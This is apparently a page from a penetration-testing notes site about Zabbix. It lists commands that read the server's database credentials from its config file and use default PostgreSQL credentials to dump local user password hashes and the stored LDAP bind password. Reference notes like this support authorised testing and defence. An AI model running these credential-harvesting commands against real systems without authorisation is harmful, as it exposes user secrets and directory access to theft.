> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/infrastructure/devops/zabbix.md).

# Zabbix

* <https://telegra.ph/zametki-pro-zabbix-02-27>

Grab DB creds:

```
$ cat /etc/zabbix/zabbix_server.conf | grep '^DB'
```

Grab local creds:

```
$ psql postgresql://Admin:zabbix@localhost/zabbix -c 'select userid, alias, name, surname, passwd, attempt_ip from users'
```

Grab LDAP creds:

```
$ psql postgresql://Admin:zabbix@localhost/zabbix -c 'select ldap_host, ldap_port, ldap_base_dn, ldap_bind_dn, ldap_bind_password from config'
```
